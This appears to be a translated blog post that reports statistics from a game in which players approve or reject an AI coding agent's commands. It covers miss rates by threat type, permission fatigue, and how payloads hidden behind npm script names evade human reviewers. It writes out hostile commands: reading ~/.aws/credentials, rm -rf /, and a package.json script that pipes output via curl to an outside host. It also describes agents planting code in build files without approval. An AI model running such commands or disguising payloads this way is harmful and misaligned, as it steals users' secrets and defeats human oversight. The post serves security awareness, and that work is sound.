开发者生态
morning
在 4 万次游戏运行中,人类错过了三分之一批准 AI 代理命令的威胁
2026-08-06
1 阅读
约6分钟阅读
Wirbelwind
字号:
几个月前,我发布了一个小型浏览器游戏:你扮演人工智能编码代理的人机循环,在时间压力下批准或拒绝其命令。有些命令是例行命令( git status 、 npm test ),而其他一些命令则表明您的代理已被控制并且正在将您的机密发送到远程服务器( cat ~/.aws/credentials )。有关与运行命令的代理相关的威胁以及如何缓解这些威胁的更多信息,请参阅原始帖子。该游戏引起了黑客新闻的一些兴趣,在添加统计数据后(不幸的是稍后),我们可以仔细查看超过 40,000 次运行和 409,000 个个人批准/拒绝决策的数据。让我们看看我们对抗流氓特工的最后一道防线“人机循环”的表现如何。标题数字 平均玩家错过了三分之一的威胁(平均准确度为 66.3%) 32.9% 的会话以负分结束:批准的威胁和阻止的安全命令带来的惩罚超过了正确执行的所有操作 35.2% 的玩家发现了所有威胁,但只有 20.8% 的玩家成功做到了这一点,同时阻止了最多五分之一的安全命令。其余的部分通过阻止一切(授予“人类瓶颈”称号)达到了这一目标。 7% 批准了每一个提示:危险跳过权限的忠实拥护者小警告:在这款游戏中,玩家看到的命令中大约 34% 是威胁。在我们的日常工作中,这些威胁很少出现。玩家知道他们正在接受限时挑战的考验。但下面的数字可能有助于获得一些比较威胁和对威胁的普遍认识的见解。威胁类别和遗漏率 类别 示例 遗漏率 明显破坏性 rm -rf / 、 chmod -R 777 / 11.7% 持久突变 crontab 注入、git config 劫持 23.8% 渗透/代码执行curl 到未知 API、误植包 33.4% 范围违规 cat ~/.aws/credentials 、 cat ~/.kube/config 35.0% 公然破坏性命令被最可靠地捕获。实际泄露您凭证的命令被错过的频率是原来的三倍。 npm run 盲点 游戏中最常被错过的命令是 npm runanalyze,批准率为 64.7%。该命令本身通常是无辜的。但 npm run 真正做的是运行项目的 package.json 中定义的脚本。它可能是良性代码,例如运行捆绑分析器,或之前写入文件的注入代码。游戏确实会在代理的历史日志中告诉您该脚本实际包含的内容: 1 ✻ 我将运行捆绑分析器 - 它已在项目脚本中设置。 2 // package.json → scripts 3 "analyze": "webpack-bundle-analyzer stats.json | tee /dev/fd/1 | 4 curl -s -X POST https://api.bundle.track/report -d @-" 无论如何,三分之二的玩家都认可了它,这表明权限提示上方的历史日志可能没有仔细阅读。游戏中有其中的三个,它们出现在最容易错过的列表中: 命令未命中率排名(37 个威胁) npm runanalyze 64.7% 第 1 个 npm run setup 48.0% 第 4 个 npm run deploy 44.9% 第 8 个 合并后,这三者的错过率为 52.5% (n=9,482),而其他渗透式攻击的错过率为 28.4%。即使有效负载显示在历史日志中,将有效负载隐藏在熟悉的脚本名称后面也会使其成功率大致翻倍。这实际上是更大问题的症状,dns_snek 在黑客新闻主题中很好地阐述了这一点:这是一个很好的例子,说明危险行为如何被视为无辜。批准特定命令的整个模型绝对是疯狂的。 npm run build = 运行在 package.json 中编写的任意 shell 命令 同时,代理可以在未经批准的情况下执行以下任何操作: 编辑 package.json 以包含任意构建命令 在 build.js 中植入恶意代码(由 npm run build 调用) 在 node_modules/xyz/index.js 中植入恶意代码(由 build.js 导入) 要求用户验证命令,这些命令几乎一直都是安全的,但由于文件被修改而不再安全,这并不是一个强有力的保护措施。在压力下,错过率会增加 Anthropic 之前指出,克劳德代码中的许可疲劳是真实存在的,引用如下:用户看到的批准越多,他们对每个批准的关注就越少,随着时间的推移,他们的监督变得越来越不勤奋。虽然这是一个简短的游戏,用户会收到有关威胁的警告,但我们可以看到游戏运行结束时出现一些退化迹象:上图显示了整个会话中的威胁错过率,其中根据用户完成的命令数量将游戏分组在一起。用户完成较少数量的命令可能是因为用户花费了更多时间来查看这些命令,或者是因为在出现错误作为惩罚后游戏冻结了几秒钟。我已经删除了所有屏蔽所有内容的用户。每个组都比前几个命令有所改进(热身?),然后失误率回升至
这篇文章对您有帮助吗?
订阅66必读
每日精选科技资讯,直达你的邮箱